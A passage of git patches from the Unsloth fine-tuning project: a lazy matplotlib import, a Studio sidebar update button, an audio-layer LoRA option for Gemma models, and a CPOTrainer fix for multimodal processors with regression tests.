         if theme and isinstance(theme, str) and theme in ["light", "dark"]:
             self.current_theme = theme
@@ -1090,8 +1115,14 @@ class TrainingBackend:
         self,
         progress: TrainingProgress,
         theme: str = "light",
-    ) -> plt.Figure:
-        """Create training loss plot with theme-aware styling."""
+    ) -> "Optional[plt.Figure]":
+        """Create training loss plot with theme-aware styling.
+
+        matplotlib is loaded lazily; returns None if it is unavailable.
+        """
+        plt = _load_pyplot()
+        if plt is None:
+            return None
         plt.close("all")
 
         LIGHT_STYLE = {
diff --git a/studio/backend/requirements/extras.txt b/studio/backend/requirements/extras.txt
index 40737b0876..b56c2dfa40 100644
--- a/studio/backend/requirements/extras.txt
+++ b/studio/backend/requirements/extras.txt
@@ -39,7 +39,7 @@ ftfy
 importlib-resources
 librosa
 markdown2
-matplotlib
+matplotlib==3.10.9
 pystoi
 soundfile
 tensorboard
diff --git a/studio/backend/requirements/studio.txt b/studio/backend/requirements/studio.txt
index 96fef60471..9efa10faef 100644
--- a/studio/backend/requirements/studio.txt
+++ b/studio/backend/requirements/studio.txt
@@ -4,7 +4,7 @@ fastapi
 uvicorn
 pydantic
 packaging
-matplotlib
+matplotlib==3.10.9
 pandas
 nest_asyncio
 datasets==4.3.0

From d94834fbab8050bdf00f9895f9fc1c7f44d4722d Mon Sep 17 00:00:00 2001
From: dylanschroers <60888108+dylanschroers@users.noreply.github.com>
Date: Tue, 23 Jun 2026 09:26:51 -0400
Subject: [PATCH 073/306] Studio: add sidebar update button with
 installed-version display (#6545)

* studio: add sidebar update button (static design only)

Adds a clock-icon update card above the account button in the sidebar footer. Visual/layout only; update detection and click behavior are wired in follow-ups.

* studio: show installed version in sidebar update card + collapse to icon

Replaces the placeholder version with the real installed app version via @tauri-apps/api/app getVersion() (Tauri-only; hidden in browser). Collapsed sidebar now shows just the clock icon instead of hiding the card.

* studio: open Settings About (update section) when the sidebar update card is clicked

* studio: i18n the sidebar update button label and add aria-label

Address Gemini Code Assist review on #6545:
- wrap the hardcoded "Update available" label in t() (shell.updateAvailable,
  en + zh-CN), matching the rest of the sidebar
- add aria-label so the collapsed icon-only button has an accessible name

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

* studio: hide sidebar update card unless an update is available

Gates the card on useWebUpdateCheck so it stays hidden by default on both web and desktop, appearing only when the installed PyPI version is behind the latest release. Includes a TEMP localStorage dev override (devForceUpdateCard) to preview the card where there is no real update; remove before merge. Keeps the i18n label/aria-label; desktop (Tauri updater) detection not wired yet.

* Polish Studio sidebar update affordance

---------

Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
---
 .../frontend/src/components/app-sidebar.tsx   | 92 +++++++++++++++++--
 .../settings/stores/settings-dialog-store.ts  | 23 ++++-
 .../src/features/settings/tabs/about-tab.tsx  | 42 +++++++--
 studio/frontend/src/i18n/locales/en.ts        |  1 +
 studio/frontend/src/i18n/locales/zh-CN.ts     |  1 +
 5 files changed, 138 insertions(+), 21 deletions(-)

diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index 734860138a..71956ff9db 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -45,8 +45,11 @@ import { Spinner } from "@/components/ui/spinner";
 import { Switch } from "@/components/ui/switch";
 import { useAnimatedThemeToggle } from "@/components/ui/animated-theme-toggler";
 import { cn } from "@/lib/utils";
+import { useWebUpdateCheck } from "@/hooks/use-web-update-check";
 import {
   Archive03Icon,
+  ArrowRight02Icon,
+  BadgeInfoIcon,
   ChefHatIcon,
   CursorInfo02Icon,
   DashboardCircleIcon,
@@ -253,6 +256,19 @@ function NavItem({
   );
 }
 
+// TEMP DEV override: preview the update card on installs with no real update
+// (e.g. an editable checkout). In the browser console run
+// `localStorage.setItem("unsloth_force_update_card", "1")` and reload. Remove
+// before merge.
+function devForceUpdateCard(): boolean {
+  if (typeof window === "undefined") return false;
+  try {
+    return window.localStorage.getItem("unsloth_force_update_card") === "1";
+  } catch {
+    return false;
+  }
+}
+
 export function AppSidebar() {
   const t = useT();
   const { isDark, toggleTheme, anchorRef } = useAnimatedThemeToggle();
@@ -265,6 +281,16 @@ export function AppSidebar() {
   const { togglePinned, isMobile, setOpenMobile } = useSidebar();
   const navigate = useNavigate();
 
+  // Web update detection: `webUpdate` is non-null only when the installed
+  // (PyPI) version is behind the latest release, so the card is hidden by
+  // default. `forceUpdateCard` is a TEMP dev override to preview it on installs
+  // with no real update (e.g. an editable checkout); remove before merge.
+  const { status: webUpdate } = useWebUpdateCheck();
+  const [forceUpdateCard] = useState(devForceUpdateCard);
+  const showUpdateCard = Boolean(webUpdate) || forceUpdateCard;
+  const updateVersion =
+    webUpdate?.latestVersion ?? (forceUpdateCard ? "0.0.0" : null);
+
   // Auto-close mobile Sheet after navigation
   const closeMobileIfOpen = () => {
     if (isMobile) setOpenMobile(false);
@@ -1348,7 +1374,7 @@ export function AppSidebar() {
         )}
       </SidebarContent>
 
-      <SidebarFooter className="relative group-data-[collapsible=icon]:px-0">
+      <SidebarFooter className="relative pt-3 pb-4 group-data-[collapsible=icon]:px-0">
         {/* Fade above the profile box, shown only when there's more list below
             the fold; at the bottom (or short lists) it fades so the last row
             shows fully (Gemini-style). right-2 keeps it clear of the 8px scrollbar gutter. */}
@@ -1359,7 +1385,54 @@ export function AppSidebar() {
             canScrollDown ? "opacity-100" : "opacity-0",
           )}
         />
-        <SidebarMenu>
+        <SidebarMenu className="gap-3 group-data-[collapsible=icon]:gap-2.5">
+          {/* Update affordance — shows only when a newer version is available. */}
+          {showUpdateCard && (
+            <SidebarMenuItem>
+              <button
+                type="button"
+                aria-label={t("shell.updateAvailable")}
+                onClick={() => {
+                  useSettingsDialogStore
+                    .getState()
+                    .openDialog("about", { scrollTarget: "about-updates" });
+                  closeMobileIfOpen();
+                }}
+                className="flex h-[44px] w-full items-center gap-[9px] rounded-[14px] border border-border/60 bg-transparent px-2 py-[3px] text-left transition-colors hover:bg-nav-surface-hover focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring group-data-[collapsible=icon]:mx-auto group-data-[collapsible=icon]:h-[34px] group-data-[collapsible=icon]:w-[34px] group-data-[collapsible=icon]:justify-center group-data-[collapsible=icon]:gap-0 group-data-[collapsible=icon]:rounded-full group-data-[collapsible=icon]:p-0"
+              >
+                <span
+                  aria-hidden="true"
+                  className="flex size-[32px] shrink-0 items-center justify-center group-data-[collapsible=icon]:size-full"
+                >
+                  <HugeiconsIcon
+                    icon={BadgeInfoIcon}
+                    strokeWidth={1.75}
+                    className="size-[21px] text-nav-fg"
+                  />
+                </span>
+                <div className="flex min-w-0 flex-col gap-px leading-tight group-data-[collapsible=icon]:hidden">
+                  <span className="truncate font-heading text-[13.5px] font-semibold text-nav-fg">
+                    {t("shell.updateAvailable")}
+                  </span>
+                  {updateVersion && (
+                    <span className="truncate text-[11.5px] text-muted-foreground">
+                      v{updateVersion}
+                    </span>
+                  )}
+                </div>
+                <span
+                  aria-hidden="true"
+                  className="ml-auto flex size-[32px] shrink-0 items-center justify-center text-muted-foreground group-data-[collapsible=icon]:hidden"
+                >
+                  <HugeiconsIcon
+                    icon={ArrowRight02Icon}
+                    className="size-[17px]"
+                    strokeWidth={1.75}
+                  />
+                </span>
+              </button>
+            </SidebarMenuItem>
+          )}
           <SidebarMenuItem>
             <DropdownMenu>
               <DropdownMenuTrigger asChild>
@@ -1381,11 +1454,16 @@ export function AppSidebar() {
                     <span className="truncate text-[11.5px] tracking-nav text-muted-foreground">Unsloth</span>
                   </div>
                   {/* settings cog (replaces the up/down chevron) */}
-                  <HugeiconsIcon
-                    icon={Settings02Icon}
-                    strokeWidth={1.5}
-                    className="ml-auto !size-[18px] text-muted-foreground group-data-[collapsible=icon]:hidden"
-                  />
+                  <span
+                    aria-hidden="true"
+                    className="ml-auto flex size-[32px] shrink-0 items-center justify-center text-muted-foreground group-data-[collapsible=icon]:hidden"
+                  >
+                    <HugeiconsIcon
+                      icon={Settings02Icon}
+                      strokeWidth={1.5}
+                      className="!size-[18px]"
+                    />
+                  </span>
                 </SidebarMenuButton>
               </DropdownMenuTrigger>
               <DropdownMenuContent
diff --git a/studio/frontend/src/features/settings/stores/settings-dialog-store.ts b/studio/frontend/src/features/settings/stores/settings-dialog-store.ts
index 4f275926de..7fab580f3c 100644
--- a/studio/frontend/src/features/settings/stores/settings-dialog-store.ts
+++ b/studio/frontend/src/features/settings/stores/settings-dialog-store.ts
@@ -12,9 +12,16 @@ export type SettingsTab =
   | "api-keys"
   | "about";
 
+export type SettingsScrollTarget = "about-updates";
+
+interface OpenDialogOptions {
+  scrollTarget?: SettingsScrollTarget;
+}
+
 interface SettingsDialogState {
   open: boolean;
   activeTab: SettingsTab;
+  scrollTarget: SettingsScrollTarget | null;
   // Element focused when openDialog() ran. Radix's FocusScope normally tracks
   // this, but the rAF-scheduled focus() in settings-dialog.tsx races its
   // previous-focus capture, leaving focus on <body> after close. We restore
@@ -23,9 +30,10 @@ interface SettingsDialogState {
   // Set when something asks to jump straight to the archived chats list (the
   // archive toast). ChatTab consumes it to open the dialog, then clears it.
   archivedChatsRequested: boolean;
-  openDialog: (tab?: SettingsTab) => void;
+  openDialog: (tab?: SettingsTab, options?: OpenDialogOptions) => void;
   openArchivedChats: () => void;
   consumeArchivedChatsRequest: () => void;
+  consumeScrollTarget: (target: SettingsScrollTarget) => void;
   closeDialog: () => void;
   setActiveTab: (tab: SettingsTab) => void;
 }
@@ -65,32 +73,39 @@ function loadInitialTab(): SettingsTab {
 export const useSettingsDialogStore = create<SettingsDialogState>((set) => ({
   open: false,
   activeTab: loadInitialTab(),
+  scrollTarget: null,
   opener: null,
   archivedChatsRequested: false,
-  openDialog: (tab) =>
+  openDialog: (tab, options) =>
     set((state) => ({
       open: true,
       activeTab: tab ?? state.activeTab,
+      scrollTarget: options?.scrollTarget ?? null,
       opener: captureOpener(),
     })),
   openArchivedChats: () =>
     set({
       open: true,
       activeTab: "chat",
+      scrollTarget: null,
       archivedChatsRequested: true,
       opener: captureOpener(),
     }),
   consumeArchivedChatsRequest: () => set({ archivedChatsRequested: false }),
+  consumeScrollTarget: (target) =>
+    set((state) => ({
+      scrollTarget: state.scrollTarget === target ? null : state.scrollTarget,
+    })),
   // Do NOT clear `opener` here. onCloseAutoFocus runs on the next render
   // pass after `open: false` lands, so the opener must still be readable
   // from the store at that point. The next openDialog() overwrites it.
-  closeDialog: () => set({ open: false }),
+  closeDialog: () => set({ open: false, scrollTarget: null }),
   setActiveTab: (tab) => {
     try {
       window.localStorage.setItem(ACTIVE_TAB_KEY, tab);
     } catch {
       // ignore storage failures
     }
-    set({ activeTab: tab });
+    set({ activeTab: tab, scrollTarget: null });
   },
 }));
diff --git a/studio/frontend/src/features/settings/tabs/about-tab.tsx b/studio/frontend/src/features/settings/tabs/about-tab.tsx
index fc4a0a953e..084a3ab5b6 100644
--- a/studio/frontend/src/features/settings/tabs/about-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/about-tab.tsx
@@ -17,7 +17,7 @@ import {
   NewReleasesIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { useEffect, useState } from "react";
+import { useEffect, useRef, useState } from "react";
 import { SettingsRow } from "../components/settings-row";
 import { SettingsSection } from "../components/settings-section";
 import { StudioVersionSection } from "../components/studio-version-section";
@@ -25,6 +25,7 @@ import {
   type UpdateInstallSource,
   UpdateStudioInstructions,
 } from "../components/update-studio-instructions";
+import { useSettingsDialogStore } from "../stores/settings-dialog-store";
 
 type ApiObject = Record<string, unknown>;
 
@@ -76,6 +77,11 @@ export function AboutTab() {
   const deviceType = usePlatformStore((s) => s.deviceType);
   const defaultShell = deviceType === "windows" ? "windows" : "unix";
   const hw = useHardwareInfo();
+  const updateSectionRef = useRef<HTMLDivElement | null>(null);
+  const scrollTarget = useSettingsDialogStore((s) => s.scrollTarget);
+  const consumeScrollTarget = useSettingsDialogStore(
+    (s) => s.consumeScrollTarget,
+  );
   const [shutdownOpen, setShutdownOpen] = useState(false);
   const [installSource, setInstallSource] = useState<
     UpdateInstallSource | "loading"
@@ -95,6 +101,20 @@ export function AboutTab() {
     };
   }, []);
 
+  useEffect(() => {
+    if (scrollTarget !== "about-updates") {
+      return;
+    }
+    const frame = window.requestAnimationFrame(() => {
+      updateSectionRef.current?.scrollIntoView({
+        block: "start",
+        behavior: "smooth",
+      });
+      consumeScrollTarget("about-updates");
+    });
+    return () => window.cancelAnimationFrame(frame);
+  }, [consumeScrollTarget, scrollTarget]);
+
   return (
     <div className="flex flex-col gap-6">
       <header className="flex flex-col gap-1">
@@ -110,15 +130,17 @@ export function AboutTab() {
           Unsloth/Package rows; the prop keeps it About-only (General passes none). */}
       <StudioVersionSection llamaCppVersion={hw.llamaCpp} />
 
-      <SettingsSection title={t("settings.about.updates")}>
-        <div className="py-2">
-          <UpdateStudioInstructions
-            defaultShell={defaultShell}
-            installSource={isTauri ? null : installSource}
-            showTitle={false}
-          />
-        </div>
-      </SettingsSection>
+      <div ref={updateSectionRef} className="scroll-mt-5">
+        <SettingsSection title={t("settings.about.updates")}>
+          <div className="py-2">
+            <UpdateStudioInstructions
+              defaultShell={defaultShell}
+              installSource={isTauri ? null : installSource}
+              showTitle={false}
+            />
+          </div>
+        </SettingsSection>
+      </div>
 
       {hw.gpus.length > 0 || hw.cuda || hw.rocm ? (
         <SettingsSection title={t("settings.about.hardware")}>
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index ddb8286b73..7cd68865dd 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -23,6 +23,7 @@ export const en = {
     brand: "unsloth",
     product: "Unsloth Studio",
     accountMenu: "{name} account menu",
+    updateAvailable: "Update available",
     aria: {
       home: "Unsloth home",
       closeSidebar: "Close sidebar",
diff --git a/studio/frontend/src/i18n/locales/zh-CN.ts b/studio/frontend/src/i18n/locales/zh-CN.ts
index c89b1daa46..7a6a5ee66d 100644
--- a/studio/frontend/src/i18n/locales/zh-CN.ts
+++ b/studio/frontend/src/i18n/locales/zh-CN.ts
@@ -23,6 +23,7 @@ export const zhCN = {
   },
   shell: {
     accountMenu: "{name} 账号菜单",
+    updateAvailable: "有可用更新",
     aria: {
       home: "Unsloth 首页",
       closeSidebar: "关闭侧边栏",

From 5eb2133b6a933b81aa9f31a62169f2f4b0401599 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 06:27:18 -0700
Subject: [PATCH 074/306] Thread finetune_audio_layers through get_peft_model
 (Gemma 4 / Gemma 3N audio LoRA) (#6558)

* vision/llama: thread finetune_audio_layers through get_peft_model

Pass finetune_audio_layers to get_peft_regex so FastModel / FastVisionModel can
adapt the Gemma 4 / Gemma 3N audio encoder and the audio/vision embedder
projectors. Enabled automatically under target_modules="all-linear", included in
the explicit-target layer-scope filter, and added to the UNSLOTH_USE_NEW_MODEL
kwargs defaults. Requires the matching unsloth-zoo get_peft_regex change.

* vision: address review feedback on finetune_audio_layers threading

- Drop finetune_audio_layers from the explicit-target_modules filter condition: it
  defaults False, so including it forced every explicit list through get_peft_regex
  and printed the scope warning even for text / vision models that never opted in.
- Guard the kwarg by get_peft_regex's signature so an older unsloth_zoo without the
  parameter does not raise TypeError; warn once if requested but unsupported.

* vision: honor finetune_audio_layers with explicit targets; fail fast on old zoo

- Route an explicit target_modules list through get_peft_regex when audio is opted
  in (positive `or finetune_audio_layers`), so finetune_audio_layers=True is no
  longer a no-op for explicit lists. The scope warning is printed only when a layer
  family is actually disabled, so default text/vision calls are not spammed.
- Raise (instead of warn) when finetune_audio_layers=True but the installed
  unsloth_zoo lacks the parameter, rather than silently training a language-only
  adapter.

* vision: keyword-safe audio flag, graceful all-linear on old zoo

- Move finetune_audio_layers to the end of get_peft_model's signature so
  positional callers of finetune_last_n_layers (and the params after it) keep
  their slots.
- Track whether the caller EXPLICITLY requested audio before all-linear flips
  the flag on, and only raise the 'needs newer unsloth_zoo' error for explicit
  requests. A plain all-linear (text/vision) run now degrades gracefully on an
  old unsloth_zoo instead of failing.
---
 unsloth/models/llama.py  |  1 +
 unsloth/models/vision.py | 43 +++++++++++++++++++++++++++++++++-------
 2 files changed, 37 insertions(+), 7 deletions(-)

diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index c61e64b41a..e8584caf7d 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -2933,6 +2933,7 @@ class FastLlamaModel:
                 ("finetune_language_layers", True),
                 ("finetune_attention_modules", True),
                 ("finetune_mlp_modules", True),
+                ("finetune_audio_layers", False),
             ):
                 if peft_arg not in kwargs:
                     kwargs[peft_arg] = flag
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index 85ed5ee0b1..0bd70c6d41 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -1411,6 +1411,7 @@ class FastBaseModel:
         qat_scheme = None,
         target_parameters = None,  # For MoE expert layers (nn.Parameter)
         ensure_weight_tying = False,  # [TODO] Add `ensure_weight_tying` for `modules_to_save` for vision models
+        finetune_audio_layers = False,  # placed last to preserve existing positional argument order
         **kwargs,
     ):
         if os.environ.get("UNSLOTH_ENABLE_FULL_FINETUNING", "0") == "1":
@@ -1429,11 +1430,30 @@ class FastBaseModel:
         if isinstance(model, PeftModelForCausalLM):
             raise RuntimeError("Unsloth: You already added LoRA adapters to your model!")
 
+        # Remember whether the CALLER explicitly opted into audio. "all-linear" turns
+        # the flag on implicitly below, but an old unsloth_zoo that cannot do audio
+        # must not make a plain all-linear (text/vision) run fail.
+        _audio_explicitly_requested = bool(finetune_audio_layers)
         if target_modules == "all-linear":
             finetune_vision_layers = True
             finetune_language_layers = True
             finetune_attention_modules = True
             finetune_mlp_modules = True
+            finetune_audio_layers = True
+        # Older unsloth_zoo (before get_peft_regex gained finetune_audio_layers) does
+        # not accept the kwarg. Pass it only when supported; if the caller EXPLICITLY
+        # asked for audio but it is unsupported, fail loudly rather than silently
+        # training a language-only adapter. (all-linear's implicit opt-in degrades
+        # gracefully instead of raising.)
+        if "finetune_audio_layers" in inspect.signature(get_peft_regex).parameters:
+            _audio_kwargs = {"finetune_audio_layers": finetune_audio_layers}
+        elif _audio_explicitly_requested:
+            raise RuntimeError(
+                "Unsloth: finetune_audio_layers=True requires a newer unsloth_zoo. "
+                "Please upgrade with `pip install --upgrade --no-deps unsloth_zoo`."
+            )
+        else:
+            _audio_kwargs = {}
         if target_modules is None or target_modules == "all-linear":
             target_modules = get_peft_regex(
                 model,
@@ -1441,20 +1461,28 @@ class FastBaseModel:
                 finetune_language_layers = finetune_language_layers,
                 finetune_attention_modules = finetune_attention_modules,
                 finetune_mlp_modules = finetune_mlp_modules,
+                **_audio_kwargs,
             )
         else:
             assert type(target_modules) in (list, tuple, str)
-            if type(target_modules) in (list, tuple) and (
+            # Route an explicit list through get_peft_regex when the caller scoped a
+            # layer family (one of the finetune_* below is off) OR opted into audio (so
+            # the new audio/embedder branches are considered). finetune_audio_layers is
+            # a POSITIVE term here: using `not finetune_audio_layers` would -- since it
+            # defaults False -- force every explicit list through the filter.
+            _scoping = (
                 not finetune_vision_layers
                 or not finetune_language_layers
                 or not finetune_attention_modules
                 or not finetune_mlp_modules
-            ):
-                print(
-                    "Unsloth: Explicit target_modules are constrained by the "
-                    "finetune_(vision|language|attention|mlp) filters; adapters "
-                    "attach only where both select."
-                )
+            )
+            if type(target_modules) in (list, tuple) and (_scoping or finetune_audio_layers):
+                if _scoping:
+                    print(
+                        "Unsloth: Explicit target_modules are constrained by the "
+                        "finetune_(vision|language|attention|mlp) filters; adapters "
+                        "attach only where both select."
+                    )
                 target_modules = get_peft_regex(
                     model,
                     finetune_vision_layers = finetune_vision_layers,
@@ -1462,6 +1490,7 @@ class FastBaseModel:
                     finetune_attention_modules = finetune_attention_modules,
                     finetune_mlp_modules = finetune_mlp_modules,
                     target_modules = list(target_modules),
+                    **_audio_kwargs,
                 )
 
         if hasattr(model, "vllm_engine"):

From a963ec92e727dde1cd2a01d8eb2e4a4a810fd612 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 06:29:22 -0700
Subject: [PATCH 075/306] Fix CPOTrainer crash with multimodal processors
 (Gemma 4) (#6522)

* Fix CPOTrainer crash with multimodal processors

CPOTrainer shares build_tokenized_answer/tokenize_row and __init__ with
ORPOTrainer, but the ORPO replacement functions that route tokenization
through the underlying text tokenizer and resolve pad_token_id were only
registered for orpo_trainer. With a multimodal processing class (e.g.
Gemma4Processor) the positional self.processing_class(prompt, ...) call binds
prompt to images=, leaving text=None and raising
TypeError: 'NoneType' object is not subscriptable.

Register the existing orpo_trainer_text_tokenizer and
orpo_trainer_processor_pad_token under cpo_trainer as well so CPO/SimPO
fine-tuning of multimodal models works. No change for plain tokenizers.

* Add CPO processor tokenizer regression test

Static, CPU-only checks that cpo_trainer registers the same
orpo_trainer_text_tokenizer and orpo_trainer_processor_pad_token rewriters as
orpo_trainer, and that the rewriter drops the broken positional
self.processing_class(prompt, ...) call. Guards against issue #4952 regressing.

* Format CPO test assert for ruff line length (pre-commit)

* Bind CPO __init__ pad/eos token reads to underlying tokenizer

TRL 0.28+ CPOTrainer.__init__ reads bare processing_class.pad_token and
processing_class.eos_token before pad_token_id, which raises AttributeError
for multimodal processors (e.g. Gemma) where those live on .tokenizer.
Extend orpo_trainer_processor_pad_token to route that block through the
underlying tokenizer, and add a regression test.

* Tighten code comments (no logic change)

* Make CPO/ORPO rewriters reach the trainer on TRL 1.x

TRL 1.x moved CPOTrainer and ORPOTrainer out of trl.trainer into
trl.experimental.<algo> and dropped the trl.trainer.<algo>_trainer shim that
older TRL (0.26 - 0.28) kept. patch_trl_rl_trainers() discovers trainers via
dir(trl.trainer), so on TRL 1.x cpo_trainer and orpo_trainer are never found and
the multimodal-processor tokenization fix (#4952) silently stops applying, even
though the rewriters themselves still match the source.

Re-expose experimental-only trainers that Unsloth has rewriters for (RL_FUNCTIONS
keys) under trl.trainer before discovery, so the existing patch machinery and its
thin-wrapper resolution work unchanged. The alias is a no-op on older TRL where
trl.trainer.<algo>_trainer already exists.

Also rebind the patched Trainer/Config into every already-imported trl.* module
that holds the original class so the fix is visible at the experimental import
site (from trl.experimental.cpo import CPOTrainer), not only via trl.trainer.

Verified on transformers 4.57.6 + trl 0.22.2, transformers 4.57.6 + trl 0.27.1,
and transformers 5.12.1 + trl 1.6.0: CPOTrainer with a multimodal processor
tokenizes through the underlying text tokenizer with no crash on all three, and
the SFT/GRPO/DPO patch paths are unchanged.

* Format for ruff (pre-commit)

* Simplify CPO fix to mirror ORPO registrations (#4952)

Register the existing ORPO row-tokenizer/pad-token rewriters for cpo_trainer.
Under the trl<=0.24.0 pin CPOTrainer lives in trl.trainer.cpo_trainer (found by
dir(trl.trainer)), shares ORPO's build_tokenized_answer and uses
processing_class.pad_token_id, so the two registrations are sufficient.

Drop the trl 1.x experimental aliasing/rebind machinery in rl.py and the
bare-pad_token rewriter: trl 1.x (CPO in trl.experimental) and the bare
pad_token pattern (trl>=0.28) are not installable under the pin.

* CPO: route bare pad_token/eos_token default through inner tokenizer

TRL 1.x CPO/ORPO __init__ (the trl.experimental source unsloth resolves on TRL
0.26+) defaults processing_class.pad_token from processing_class.eos_token
before tokenizing. Multimodal processors (Gemma3/Gemma4 Processor) expose those
attributes on .tokenizer, not on the processor, so that bare access raises
AttributeError during __init__ even with the pad_token_id fallback registered.

Extend orpo_trainer_processor_pad_token to rewrite that defaulting block to run
on the inner tokenizer. The pinned TRL range (<=0.24.0) has no such block, so
the regex is a no-op there and only the existing pad_token_id fallback applies.

Verified the rewrite against the real trl 1.6.0 experimental CPOTrainer.__init__
(bare access removed, result compiles, a processor without pad_token no longer
raises) and added offline regression tests for both the rewrite and its no-op.

---------

Co-authored-by: Daniel Han <michaelhan2050@gmail.com>
---
 .../test_cpo_processor_text_tokenizer.py      | 99 +++++++++++++++++++
 unsloth/models/rl_replacements.py             | 23 ++++-
 2 files changed, 119 insertions(+), 3 deletions(-)
 create mode 100644 tests/python/test_cpo_processor_text_tokenizer.py

diff --git a/tests/python/test_cpo_processor_text_tokenizer.py b/tests/python/test_cpo_processor_text_tokenizer.py
new file mode 100644
index 0000000000..69316e042d
--- /dev/null
+++ b/tests/python/test_cpo_processor_text_tokenizer.py
@@ -0,0 +1,99 @@
+"""CPO shares ORPO's row-tokenization replacements (issue #4952).
+
+CPOTrainer reuses ORPO's tokenize/init code, so the ORPO rewriters must also be
+registered for cpo_trainer. The rewriters themselves are covered by
+test_orpo_processor_text_tokenizer.py; here we just check cpo mirrors orpo.
+Static, CPU-only, no torch.
+"""
+
+import ast
+import os
+
+
+REPO_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
+RL_PATH = os.path.join(REPO_ROOT, "unsloth", "models", "rl_replacements.py")
+
+
+def _registrations(source):
+    """Map each RL_FUNCTIONS[key] target to the appended function names."""
+    out = {}
+    for node in ast.walk(ast.parse(source)):
+        if not isinstance(node, ast.Expr):
+            continue
+        call = node.value
+        if not (isinstance(call, ast.Call) and isinstance(call.func, ast.Attribute)):
+            continue
+        if call.func.attr != "append":
+            continue
+        sub = call.func.value
+        if not (isinstance(sub, ast.Subscript) and isinstance(sub.value, ast.Name)):
+            continue
+        if sub.value.id != "RL_FUNCTIONS":
+            continue
+        key = sub.slice
+        if not (isinstance(key, ast.Constant) and isinstance(key.value, str)):
+            continue
+        arg = call.args[0]
+        if isinstance(arg, ast.Name):
+            out.setdefault(key.value, []).append(arg.id)
+    return out
+
+
+def test_cpo_registration_matches_orpo():
+    regs = _registrations(open(RL_PATH).read())
+    shared = {"orpo_trainer_text_tokenizer", "orpo_trainer_processor_pad_token"}
+    assert shared <= set(regs.get("orpo_trainer", []))
+    assert shared <= set(regs.get("cpo_trainer", []))
+
+
+def _load_pad_rewriter():
+    """Exec orpo_trainer_processor_pad_token (+ _PAD_FALLBACK) without importing unsloth."""
+    tree = ast.parse(open(RL_PATH).read())
+    nodes = []
+    for n in tree.body:
+        if isinstance(n, ast.Assign) and any(
+            getattr(t, "id", None) == "_PAD_FALLBACK" for t in n.targets
+        ):
+            nodes.append(n)
+        elif isinstance(n, ast.FunctionDef) and n.name == "orpo_trainer_processor_pad_token":
+            nodes.append(n)
+    import re as _re
+
+    ns = {"re": _re}
+    exec(compile(ast.Module(body = nodes, type_ignores = []), RL_PATH, "exec"), ns)
+    return ns["orpo_trainer_processor_pad_token"]
+
+
+def test_pad_token_default_routed_through_inner_tokenizer():
+    # TRL 1.x CPO/ORPO __init__ defaults pad_token from eos_token before
+    # tokenizing; on a multimodal processor those live on `.tokenizer`. The
+    # rewrite must route both the default and pad_token_id through the inner
+    # tokenizer so a processor without bare pad_token does not AttributeError.
+    rewrite = _load_pad_rewriter()
+    init_src = (
+        "def __init__(self, model, args, processing_class):\n"
+        "    if processing_class.pad_token is None:\n"
+        "        processing_class.pad_token = processing_class.eos_token\n"
+        "    self.pad_token_id = processing_class.pad_token_id\n"
+    )
+    out = rewrite("__init__", init_src)
+    assert "if processing_class.pad_token is None:" not in out
+    assert "processing_class.pad_token = processing_class.eos_token" not in out
+    assert "_unsloth_proc_tok = getattr(processing_class, 'tokenizer', processing_class)" in out
+    # bare pad_token_id must be routed through the getattr fallback, not left raw
+    assert "= processing_class.pad_token_id\n" not in out
+    ast.parse(out)  # rewritten source still compiles
+
+
+def test_pad_rewrite_noop_without_bare_pad_block():
+    # Older TRL (the pinned <=0.24.0 range) has no bare pad_token block; the
+    # rewrite must only touch pad_token_id and leave everything else intact.
+    rewrite = _load_pad_rewriter()
+    init_src = (
+        "def __init__(self, model, args, processing_class):\n"
+        "    self.pad_token_id = processing_class.pad_token_id\n"
+    )
+    out = rewrite("__init__", init_src)
+    assert "_unsloth_proc_tok" not in out
+    assert "= processing_class.pad_token_id\n" not in out  # still routed via fallback
+    ast.parse(out)
diff --git a/unsloth/models/rl_replacements.py b/unsloth/models/rl_replacements.py
index ba4b4b4415..61a07b686d 100644
--- a/unsloth/models/rl_replacements.py
+++ b/unsloth/models/rl_replacements.py
@@ -511,8 +511,8 @@ def sft_trainer_compute_loss(function_name, function):
 RL_FUNCTIONS["sft_trainer"].append(sft_trainer_compute_loss)
 
 
-# Use the underlying text tokenizer for ORPO row tokenization when a
-# multimodal processor is supplied as the processing class.
+# Route ORPO/CPO row tokenization through the underlying text tokenizer when the
+# processing class is a multimodal processor; CPO reuses this code (#4952).
 def orpo_trainer_text_tokenizer(function_name, function):
     if function_name == "build_tokenized_answer":
         function = re.sub(
@@ -555,11 +555,12 @@ def orpo_trainer_text_tokenizer(function_name, function):
 
 
 RL_FUNCTIONS["orpo_trainer"].append(orpo_trainer_text_tokenizer)
+RL_FUNCTIONS["cpo_trainer"].append(orpo_trainer_text_tokenizer)
 
 
 # Resolve `processing_class.pad_token_id` through the underlying tokenizer when
 # a multimodal processor is supplied (processors lack `pad_token_id`). Without
-# this, ORPOTrainer.__init__ raises AttributeError on
+# this, ORPO/CPOTrainer.__init__ raises AttributeError on
 # `DPODataCollatorWithPadding(pad_token_id=processing_class.pad_token_id, ...)`
 # and on `self.padding_value = ... else processing_class.pad_token_id`.
 _PAD_FALLBACK = (
@@ -572,12 +573,28 @@ _PAD_FALLBACK = (
 def orpo_trainer_processor_pad_token(function_name, function):
